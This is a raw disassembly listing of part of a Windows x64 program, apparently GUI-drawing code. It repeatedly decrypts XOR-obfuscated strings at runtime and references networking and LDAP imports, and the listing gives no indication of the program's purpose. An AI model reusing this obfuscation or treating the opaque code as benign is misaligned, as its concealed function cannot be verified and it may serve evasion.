movss dword [rbp + 0x7a8], xmm0
call fcn.140023b10
mov dword [rbx + 0x167c], 0x3f800000
lea rdx, [rbp + 0x4f8]
mov rbx, qword [0x1401000f0]
mov dword [rbp + 0x4f8], 0xa
movss xmm1, dword [rbx + 0x1670]
lea rcx, [rbx + 0x1e80]
movss xmm0, dword [rbx + 0x1674]
movss dword [rbp + 0x4fc], xmm1
movss dword [rbp + 0x500], xmm0
call fcn.140023b10
mov dword [rbx + 0x1670], 0x40e00000
lea rdx, [rbp + 0x420]
mov dword [rbx + 0x1674], 0x40e00000
mov rbx, qword [0x1401000f0]
mov qword [rbp + 0x42c], 0
mov qword [rbp + 0x424], 0
mov dword [rbp + 0x420], edi
movups xmm0, xmmword [rbx + 0x16fc]
lea rcx, [rbx + 0x1e70]
movups xmmword [rbp + 0x424], xmm0
call fcn.140023c00
mov dword [rbx + 0x16fc], 0x3f1f9fa0
mov dword [rbx + 0x1700], 0x3f21a1a2
mov dword [rbx + 0x1704], 0x3f33b3b4
mov dword [rbx + 0x1708], 0x3f800000
mov rcx, qword [0x1401000f0]
or dword [rcx + 0x1e58], 1
mov dword [rcx + 0x1e5c], 0x434e0000
mov rax, qword [rcx + 0x1d18]
lea r8, [0x140100180]
movss xmm9, dword [0x1400e7da0]
mov r9d, reloc.WLDAP32.dll_Ordinal_27
mov qword [rsp + 0x38], rdi
xor edx, edx
mov qword [rsp + 0x30], rdi
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movzx ecx, word [0x1400e7748]
mov dword [rsp + 0x28], edi
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm9
addss xmm2, dword [0x1400e7d68]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
movzx eax, byte [0x1400e774a]
movsd xmm0, qword [0x1400e7740]
xor al, 0x3f
movsd qword [rbp - 0x10], xmm0
xor byte [rbp - 0xf], 0x36
xor byte [rbp - 0xe], 0x37
xor byte [rbp - 0xd], 0x38
xor byte [rbp - 0xc], 0x39
xor byte [rbp - 0xb], 0x3a
xor byte [rbp - 0xa], 0x3b
xor byte [rbp - 9], 0x3c
mov word [rbp - 8], cx
xor cl, 0x3d
xor byte [rbp - 7], 0x3e
mov byte [rbp - 6], al
lea rax, [rbp + 0x248]
mov byte [rbp - 8], cl
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov byte [rbp - 0x10], reloc.WLDAP32.dll_Ordinal_35
mov qword [rbp + 0x248], 0
call fcn.140040190
mov r8, qword [0x1401000f0]
mov rcx, qword [r8 + 0x1e78]
movsxd rax, dword [r8 + 0x1e70]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
dec dword [r8 + 0x1e70]
movsxd rax, dword [r8 + 0x1e80]
mov rdx, qword [r8 + 0x1e88]
lea rcx, [rax + rax*2]
movsxd rax, dword [rdx + rcx*4 - 0xc]
lea rax, [rax + rax*2]
cmp dword [rsi + rax*4 + 0xd4cb0], 8
mov r9d, dword [rsi + rax*4 + 0xd4cb8]
jne 0x140050117
mov eax, dword [rsi + rax*4 + 0xd4cb4]
cmp eax, 1
jne 0x1400500fa
mov eax, dword [rdx + rcx*4 - 8]
mov dword [r9 + r8 + 0x1638], eax
jmp 0x140050117
cmp eax, 2
jne 0x140050117
mov eax, dword [rdx + rcx*4 - 8]
mov dword [r9 + r8 + 0x1638], eax
mov eax, dword [rdx + rcx*4 - 4]
mov dword [r9 + r8 + 0x163c], eax
movsxd rcx, dword [r8 + 0x1e80]
lea eax, [rcx - 1]
mov dword [r8 + 0x1e80], eax
lea rax, [rcx - 2]
lea rcx, [rax + rax*2]
movsxd rax, dword [rdx + rcx*4]
lea r9, [rax + rax*2]
cmp dword [rsi + r9*4 + 0xd4cb0], 8
mov r10d, dword [rsi + r9*4 + 0xd4cb8]
jne 0x140050183
mov eax, dword [rsi + r9*4 + 0xd4cb4]
cmp eax, 1
jne 0x140050166
mov eax, dword [rdx + rcx*4 + 4]
mov dword [r10 + r8 + 0x1638], eax
jmp 0x140050183
cmp eax, 2
jne 0x140050183
mov eax, dword [rdx + rcx*4 + 4]
mov dword [r10 + r8 + 0x1638], eax
mov eax, dword [rdx + rcx*4 + 8]
mov dword [r10 + r8 + 0x163c], eax
dec dword [r8 + 0x1e80]
lea rdx, [rbp + 0x38]
mov rax, qword [r8 + 0x1d18]
lea rcx, [rbp - 0x80]
mov dword [rbp + 0x600], 0x3ebebebf
mov dword [rbp + 0x604], 0x3ebebebf
mov dword [rbp + 0x608], 0x3ed4d4d6
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm13
addss xmm2, dword [0x1400e7d70]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
movsd xmm0, qword [str.ewdknuix]
movzx eax, byte [0x1400e7700]
movsd qword [rbp + 0x38], xmm0
xor al, 0x3d
movups xmm0, xmmword [rbp + 0x600]
xor byte [rbp + 0x39], 0x36
xor byte [rbp + 0x3a], 0x37
xor byte [rbp + 0x3b], 0x38
xor byte [rbp + 0x3c], 0x39
xor byte [rbp + 0x3d], 0x3a
xor byte [rbp + 0x3e], 0x3b
xor byte [rbp + 0x3f], 0x3c
shufps xmm0, xmm0, 0x93
movss xmm0, xmm11
mov byte [rbp + 0x38], 0x50
shufps xmm0, xmm0, 0x39
movups xmmword [rbp + 0x600], xmm0
mov byte [rbp + 0x40], al
movups xmmword [rbp - 0x80], xmm0
call fcn.14003a4e0
mov rbx, qword [0x1401000f0]
lea rdx, [rbp + 0x798]
mov dword [rbp + 0x798], ntohl
movss xmm0, dword [rbx + 0x167c]
lea rcx, [rbx + 0x1e80]
movss dword [rbp + 0x79c], xmm0
call fcn.140023b10
mov dword [rbx + 0x167c], 0x3f800000
lea rdx, [rbp + 0x504]
mov rbx, qword [0x1401000f0]
mov dword [rbp + 0x504], 0xa
movss xmm1, dword [rbx + 0x1670]
lea rcx, [rbx + 0x1e80]
movss xmm0, dword [rbx + 0x1674]
movss dword [rbp + 0x508], xmm1
movss dword [rbp + 0x50c], xmm0
call fcn.140023b10
mov dword [rbx + 0x1670], 0x40e00000
lea rdx, [rbp + 0x408]
mov dword [rbx + 0x1674], 0x40e00000
mov rbx, qword [0x1401000f0]
mov qword [rbp + 0x414], 0
mov qword [rbp + 0x40c], 0
mov dword [rbp + 0x408], edi
movups xmm0, xmmword [rbx + 0x16fc]
lea rcx, [rbx + 0x1e70]
movups xmmword [rbp + 0x40c], xmm0
call fcn.140023c00
mov dword [rbx + 0x16fc], 0x3f1f9fa0
mov dword [rbx + 0x1700], 0x3f21a1a2
mov dword [rbx + 0x1704], 0x3f33b3b4
mov dword [rbx + 0x1708], 0x3f800000
mov rcx, qword [0x1401000f0]
or dword [rcx + 0x1e58], 1
mov dword [rcx + 0x1e5c], 0x434e0000
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
lea r8, [0x140100158]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
mov edx, 0x8000
subss xmm2, dword [rax + 0xa0]
movzx ecx, word [0x1400e7758]
mov r9d, reloc.WLDAP32.dll_Ordinal_27
mov qword [rsp + 0x38], rdi
addss xmm0, xmm9
mov qword [rsp + 0x30], rdi
addss xmm2, dword [0x1400e7d80]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
movzx eax, byte [0x1400e775a]
cmp byte [0x1401000e9], 0
movsd xmm0, qword [0x1400e7750]
cmovne edx, edi
movsd qword [rbp + 0xb0], xmm0
xor byte [rbp + 0xb1], 0x36
xor al, 0x3f
xor byte [rbp + 0xb2], 0x37
xor byte [rbp + 0xb3], 0x38
xor byte [rbp + 0xb4], 0x39
xor byte [rbp + 0xb5], 0x3a
xor byte [rbp + 0xb6], 0x3b
xor byte [rbp + 0xb7], 0x3c
mov word [rbp + 0xb8], cx
xor cl, 0x3d
xor byte [rbp + 0xb9], 0x3e
mov dword [rsp + 0x28], edx
xor edx, edx
mov byte [rbp + 0xba], al
lea rax, [rbp + 0x250]
mov byte [rbp + 0xb8], cl
lea rcx, [rbp + 0xb0]
mov qword [rsp + 0x20], rax
mov byte [rbp + 0xb0], reloc.WLDAP32.dll_Ordinal_35
mov qword [rbp + 0x250], 0
call fcn.140040190
mov rbx, qword [0x1401000f0]
mov rcx, qword [rbx + 0x1e78]
movsxd rax, dword [rbx + 0x1e70]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [rbx + rax*8 + 0x16fc], xmm0
dec dword [rbx + 0x1e70]
movsxd rax, dword [rbx + 0x1e80]
mov rdx, qword [rbx + 0x1e88]
lea rcx, [rax + rax*2]
movsxd rax, dword [rdx + rcx*4 - 0xc]
lea rax, [rax + rax*2]
cmp dword [rsi + rax*4 + 0xd4cb0], 8
mov r8d, dword [rsi + rax*4 + 0xd4cb8]
jne 0x140050573
mov eax, dword [rsi + rax*4 + 0xd4cb4]
cmp eax, 1
jne 0x140050556
mov eax, dword [rdx + rcx*4 - 8]
mov dword [r8 + rbx + 0x1638], eax
jmp 0x140050573
cmp eax, 2
jne 0x140050573
mov eax, dword [rdx + rcx*4 - 8]
mov dword [r8 + rbx + 0x1638], eax
mov eax, dword [rdx + rcx*4 - 4]
mov dword [r8 + rbx + 0x163c], eax
movsxd rcx, dword [rbx + 0x1e80]
lea eax, [rcx - 1]
mov dword [rbx + 0x1e80], eax
lea rax, [rcx - 2]
lea rcx, [rax + rax*2]
movsxd rax, dword [rdx + rcx*4]
lea r8, [rax + rax*2]
cmp dword [rsi + r8*4 + 0xd4cb0], 8
mov r9d, dword [rsi + r8*4 + 0xd4cb8]
jne 0x1400505de
mov eax, dword [rsi + r8*4 + 0xd4cb4]
cmp eax, 1
jne 0x1400505c1
mov eax, dword [rdx + rcx*4 + 4]
mov dword [r9 + rbx + 0x1638], eax
jmp 0x1400505de
cmp eax, 2
jne 0x1400505de
mov eax, dword [rdx + rcx*4 + 4]
mov dword [r9 + rbx + 0x1638], eax
mov eax, dword [rdx + rcx*4 + 8]
mov dword [r9 + rbx + 0x163c], eax
dec dword [rbx + 0x1e80]
lea rdx, [rbp + 0x3f0]
mov qword [rbp + 0x3fc], 0
lea rcx, [rbx + 0x1e70]
mov qword [rbp + 0x3f4], 0
mov dword [rbp + 0x3f0], 7
movups xmm0, xmmword [rbx + 0x176c]
movups xmmword [rbp + 0x3f4], xmm0
call fcn.140023c00
mov dword [rbx + 0x176c], 0x3f800000
lea rdx, [rbp + 0x4e0]
mov dword [rbx + 0x1770], 0x3f800000
mov dword [rbx + 0x1774], 0x3f800000
mov dword [rbx + 0x1778], 0x3f800000
mov rbx, qword [0x1401000f0]
movaps xmm6, xmmword [0x1400e7f90]
mov qword [rbp + 0x4ec], 0
mov qword [rbp + 0x4e4], 0
mov dword [rbp + 0x4e0], edi
lea rcx, [rbx + 0x1e70]
movups xmm0, xmmword [rbx + 0x16fc]
movups xmmword [rbp + 0x4e4], xmm0
call fcn.140023c00
movups xmmword [rbx + 0x16fc], xmm6
mov rbx, qword [0x1401000f0]
lea rdx, [rbp + 0x510]
mov dword [rbp + 0x510], 0xa
movss xmm1, dword [rbx + 0x1670]
lea rcx, [rbx + 0x1e80]
movss xmm0, dword [rbx + 0x1674]
movss dword [rbp + 0x514], xmm1
movss dword [rbp + 0x518], xmm0
call fcn.140023b10
mov rcx, qword [0x1401000f0]
mov r8d, edi
mov dword [rbx + 0x1670], edi
mov dword [rbx + 0x1674], 0x40400000
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
movss xmm2, dword [rax + 0x54]
subss xmm0, dword [rax + 0x9c]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm9
addss xmm2, dword [0x1400e7d8c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [0x1400e78f8]
movsd xmm0, qword [0x1400e78f0]
mov dword [rbp + 0x148], eax
movzx eax, word [0x1400e78fc]
mov word [rbp + 0x14c], ax
movzx eax, byte [0x1400e78fe]
mov byte [rbp + 0x14e], al
movsd qword [rbp + 0x140], xmm0
cmp r13d, 2
jl 0x1400508d4
movdqa xmm2, xmmword [0x1400e7eb0]
mov eax, 5
movdqa xmm3, xmmword [0x1400e7ec0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, Ordinal_33
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
mov eax, dword [str.5555555555555555]
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400e78f0]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x140], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp + 0x144]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x144], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x140]
add r9, rax
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1400508e1
lea rcx, [rbp + 0x140]
call fcn.14004b650
mov r8, qword [0x1401000f0]
movsxd rax, dword [r8 + 0x1e80]
mov rdx, qword [r8 + 0x1e88]
lea rcx, [rax + rax*2]
movsxd rax, dword [rdx + rcx*4 - 0xc]
lea r9, [rax + rax*2]
cmp dword [rsi + r9*4 + 0xd4cb0], 8
mov r10d, dword [rsi + r9*4 + 0xd4cb8]
jne 0x14005098e
mov eax, dword [rsi + r9*4 + 0xd4cb4]
cmp eax, 1
jne 0x140050971
mov eax, dword [rdx + rcx*4 - 8]
mov dword [r10 + r8 + 0x1638], eax
jmp 0x14005098e
cmp eax, 2
jne 0x14005098e
mov eax, dword [rdx + rcx*4 - 8]
mov dword [r10 + r8 + 0x1638], eax
mov eax, dword [rdx + rcx*4 - 4]
mov dword [r10 + r8 + 0x163c], eax
dec dword [r8 + 0x1e80]
mov esi, 5
mov rcx, qword [r8 + 0x1e78]
movsxd rax, dword [r8 + 0x1e70]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
movsxd rcx, dword [r8 + 0x1e70]
lea eax, [rcx - 1]
mov dword [r8 + 0x1e70], eax
lea rax, [rcx - 2]
mov rcx, qword [r8 + 0x1e78]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4]
movups xmm0, xmmword [rcx + rdx*4 + 4]
add rax, rax
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
dec dword [r8 + 0x1e70]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
mov r8d, edi
movss xmm0, dword [rax + 0x50]
movss xmm2, dword [rax + 0x54]
subss xmm0, dword [rax + 0x9c]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x1400e7da4]
addss xmm2, dword [0x1400e7d94]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [0x1400e7a38]
mov dword [rbp + 0x670], eax
movzx eax, word [0x1400e7a3c]
mov word [rbp + 0x674], ax
movzx eax, byte [0x1400e7a3e]
mov byte [rbp + 0x676], al
mov dword [rbp + 0x258], 0x434e0000
mov dword [rbp + 0x25c], 0x420c0000
movups xmm0, xmmword [str.yypqw]
movups xmmword [rbp + 0x660], xmm0
cmp r13d, 2
jl 0x140050c1d
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp + 0x664]
movdqa xmm5, xmmword [0x1400e7eb0]
mov eax, Ordinal_33
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm7, xmmword [0x1400e7ed0]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm8, eax
movd xmm6, esi
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140050b10
cmp r8d, 0x17
jge 0x140050c64
movsxd rax, r8d
lea r9, [rbp + 0x660]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x140050c30
lea rdx, [rbp + 0x258]
lea rcx, [rbp + 0x660]
call fcn.14004bf60
test al, al
je 0x1400514e0
lea rdx, [0x140100158]
lea rcx, [rbp + 0xdd8]
call fcn.140057bc0
lea rdx, [0x140100180]
mov rbx, rax
lea rcx, [rbp + 0xdf8]
call fcn.140057bc0
mov r8, rbx
lea rcx, [0x140100260]
mov rdx, rax
call fcn.14006be10
cmp byte [0x140100470], 0
jne 0x140050f01
lea rcx, [0x140100478]
call fcn.140057a80
mov rdx, rax
lea rcx, [rbp + 0x10c0]
call fcn.140057bc0
lea rdx, [rbp + 0x948]
lea rcx, [rbp + 0x10c0]
call fcn.140057ab0
lea rdx, [rbp + 0x940]
lea rcx, [rbp + 0x10c0]
mov r9, qword [rax]
call fcn.140057a90
lea rdx, [rbp + 0x990]
lea rcx, [rbp + 0x10c0]
mov r8, qword [rax]
call fcn.140057ab0
lea rcx, [rbp + 0x998]
mov rdx, qword [rax]
call fcn.140058500
lea rcx, [rbp + 0x10c0]
call fcn.140057a80
mov ecx, dword [0x1400e7948]
mov r10, rax
movsd xmm0, qword [0x1400e7940]
mov r8d, edi
mov dword [rbp + 0x118], ecx
movzx ecx, byte [0x1400e794c]
mov byte [rbp + 0x11c], cl
movsd qword [rbp + 0x110], xmm0
cmp r13d, 2
jl 0x140050e8e
movdqa xmm2, xmmword [0x1400e7eb0]
mov eax, Ordinal_33
movdqa xmm3, xmmword [0x1400e7ec0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, dword [str.5555555555555555]
movd xmm6, esi
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400e7940]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x110], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp + 0x114]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x114], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x110]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140050ea0
lea rax, [rbp + 0x110]
mov byte [0x1401000ea], 1
lea rcx, [rbp + 0x10c0]
mov qword [0x1400fa368], rax
mov qword [0x1400fa360], r10
call fcn.140057ad0
jmp 0x1400514e0
mov rcx, qword [0x140100448]
mov esi, edi
mov rdx, qword [0x140100440]
mov rax, rcx
sub rax, rdx
sar rax, 6
test rax, rax
je 0x1400513d7
mov rbx, rdi
nop word [rax + rax]
sub rcx, rdx
sar rcx, 6
cmp rcx, rbx
jbe 0x140056499
shl rbx, 6
lea rcx, [rbp + 0xff0]
add rbx, rdx
mov rdx, rbx
call fcn.140057c00
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x1010]
call fcn.140057c00
lea rdx, [rbp + 0x1010]
lea rcx, [rbp + 0xe18]
call fcn.140057c00
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140050f89
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov rdx, qword [rbx + 0x18]
movsxd rdi, eax
cmp rdx, 0x10
jb 0x140050fd2
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140050fcd
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400563f5
mov rcx, r8
call fcn.1400c12a0
xor eax, eax
lea rdx, [rbp + 0x1078]
mov qword [rbx + 0x10], rax
lea rcx, [rbp + 0xa80]
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], al
mov qword [rbp + 0x1078], rdi
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0xa80]
mov eax, dword [rbp + 0xaa0]
lea r9, [rbp + 0x9c0]
movups xmm1, xmmword [rbp + 0xa90]
lea r8, str._a__m__d__y__H:_M:_S__Z
mov edx, 0x50
lea rcx, [rbp + 0x24e0]
movaps xmmword [rbp + 0x9c0], xmm0
movaps xmmword [rbp + 0x9d0], xmm1
mov dword [rbp + 0x9e0], eax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xor edi, edi
lea rax, [rbp + 0x24e0]
xorps xmm0, xmm0
mov qword [rbp + 0x300], rdi
movups xmmword [rbp + 0x2f0], xmm0
mov qword [rbp + 0x308], rdi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140051070
lea rdx, [rbp + 0x24e0]
lea rcx, [rbp + 0x2f0]
call fcn.140058850
cmp qword [rbp + 0x308], 0x10
lea rdx, [rbp + 0x2f0]
xorps xmm0, xmm0
mov qword [rbp + 0xfb8], rdi
cmovae rdx, qword [rbp + 0x2f0]
mov r8, 0xffffffffffffffff
movups xmmword [rbp + 0xfa8], xmm0
mov qword [rbp + 0xfc0], rdi
inc r8
cmp byte [rdx + r8], dil
jne 0x1400510c2
lea rcx, [rbp + 0xfa8]
call fcn.140058850
mov rdx, qword [rbp + 0x308]
cmp rdx, 0x10
jb 0x140051118
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051113
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400563f5
call fcn.1400c12a0
lea rdx, [rbp + 0xfa8]
mov qword [rbp + 0x300], rdi
lea rcx, [rbp + 0xe38]
mov qword [rbp + 0x308], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2f0], dil
call fcn.140057c00
mov rdx, rax
lea rcx, [rbp + 0x808]
call fcn.14004a850
mov rbx, rax
lea rax, [0x1400ff018]
cmp rax, rbx
je 0x1400511e0
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0x10
jb 0x1400511a3
mov rcx, qword [0x1400ff018]
inc rdx
cmp rdx, 0x1000
jb 0x14005119e
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400563f5
mov rcx, r8
call fcn.1400c12a0
mov qword [0x1400ff028], rdi
mov qword [reloc.WS2_32.dll_ntohs], 0xf
mov byte [0x1400ff018], dil
movups xmm0, xmmword [rbx]
movups xmmword [0x1400ff018], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x1400ff028], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], dil
mov rdx, qword [rbp + 0x820]
cmp rdx, 0x10
jb 0x140051221
mov rcx, qword [rbp + 0x808]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005121c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400563f5
call fcn.1400c12a0
cmp qword [rbp + 0x1008], 0x10
